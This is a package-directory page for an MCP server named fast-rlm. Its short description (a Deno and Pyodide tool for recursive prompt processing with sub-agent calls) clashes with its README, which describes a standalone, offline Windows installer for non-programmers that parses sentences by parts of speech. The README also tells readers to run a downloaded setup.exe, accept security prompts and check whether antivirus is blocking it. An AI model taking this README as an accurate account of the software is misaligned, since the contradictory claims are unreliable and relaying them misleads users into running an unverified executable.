freshcrate
Home > MCP Servers > fast-rlm

fast-rlm

Implement Recursive Language Models using Deno and Pyodide to enable scalable, code-driven prompt processing with modular sub-agent calls.

Description

Implement Recursive Language Models using Deno and Pyodide to enable scalable, code-driven prompt processing with modular sub-agent calls.

README

⚡ fast-rlm - Run Language Models Quickly and Easily

Download fast-rlm

🔍 About fast-rlm

fast-rlm is a simple application designed to run Recursive Language Models on your Windows PC. These models help process language by breaking down text recursively. This project is based on research explained in this paper: Recursive Language Models.

You do not need to be a programmer or know coding to use fast-rlm. This guide will help you download, install, and run it using clear and easy steps.


🖥️ What is fast-rlm?

fast-rlm lets you use language models that analyze sentences by calling themselves on parts of speech or clauses. This helps in understanding complex sentences better by handling sub-parts recursively. The app offers a fast and accessible way to run these models without special setup.

Some typical uses include:

  • Processing natural language for research.
  • Testing recursive models on text samples.
  • Learning about advanced language modeling without heavy programming.

💻 System Requirements

To use fast-rlm, your Windows PC should meet these basic requirements:

  • Operating System: Windows 10 or later (64-bit recommended)
  • Processor: Intel i3 or AMD equivalent (2 GHz or faster)
  • RAM: At least 4 GB
  • Disk Space: Around 200 MB free space
  • Internet: Needed only to download the app

No extra software is needed to run fast-rlm once installed. It works as a standalone application.


🚀 Getting Started: How to Download and Run fast-rlm

Step 1: Visit the download page

Click on the big button below or open this link in your browser:
Download fast-rlm

This link takes you to the fast-rlm GitHub page, where you can get the latest version.

Step 2: Find the download release

Once on the GitHub page, look for the Releases section. It is usually on the right side or under the repository tabs.

Click on Releases to see available versions of fast-rlm.

Step 3: Download the Windows version

In the Releases section, find the latest version meant for Windows. The file will look like fast-rlm-setup.exe or something similar.

Click on the file name to start the download. Save it to your desktop or downloads folder.

Step 4: Run the installer

Once downloaded, go to the location where you saved the file.

Double-click the fast-rlm-setup.exe file to start the installation.

You might see a security prompt asking if you want to allow changes. Click Yes or Run to continue.

Step 5: Follow the installation prompts

A setup window will open. Follow the instructions:

  • Choose the install location or keep the default path.
  • Click Next or Install when prompted.
  • Wait for the process to finish.

When done, click Finish.

Step 6: Open fast-rlm

Find the fast-rlm app in your Start menu or desktop shortcut.

Click it to launch the program.

You are ready to use fast-rlm.


⚙️ Using fast-rlm

When you open fast-rlm, you will see a simple interface:

  1. Input box: Type or paste any sentence you want to analyze.
  2. Run button: Click this to start processing the input with Recursive Language Models.
  3. Results display: View the analysis or output based on the recursive model.

The interface does not require changing any settings. Just type your text and press run.


🔧 Troubleshooting

If you encounter issues, try the following:

  • Make sure your Windows is updated.
  • Check if your antivirus or firewall is blocking the app.
  • Restart your computer and run fast-rlm again.
  • Re-download and reinstall if the app does not launch.

For detailed help, you can visit the GitHub repository to raise an issue or check community discussions.


📂 File and Folder Structure

After installation, fast-rlm creates these files/folders:

  • fast-rlm.exe: The main program file.
  • config: Folder containing settings files.
  • logs: Folder storing any usage logs.
  • data: Optional folder for storing input or output files.

You generally don't need to manually edit files inside these folders.


🛠️ Frequently Asked Questions

Q: Do I need an internet connection to use fast-rlm after installation?
A: No. The software runs fully offline once installed.

Q: Can I use fast-rlm on Mac or Linux?
A: This application supports Windows only.

Q: Is there a user guide or tutorial in the app?
A: The app is built for simplicity and does not include a built-in tutorial.

Q: What languages does fast-rlm support?
A: It works best with English text, matching the research base.


📥 Download fast-rlm now

Use the link below to visit the download page and get started:

Download fast-rlm

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found — using repo HEADHigh4/11/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

mcp-gatewayManage and debug local Model Context Protocol servers with an easy desktop app that auto-discovers and monitors MCP instances.main@2026-04-21
crewformBuild your AI team with Crewform. Orchestrate specialized, autonomous agents to collaborate on complex tasks and connect outputs to your stack. — AI Orchestration for Everyonev1.8.2
@senso-ai/shipablesCLI for installing, managing, and publishing AI agent skills from the Shipables registry0.1.2
@dallay/agentsyncA fast CLI tool to sync AI agent configurations and MCP servers across Claude, Copilot, Cursor, and more using symbolic links.1.42.3
@skill-hub/cliCLI for SkillHub - Create, publish, and manage your AI agent skills0.1.2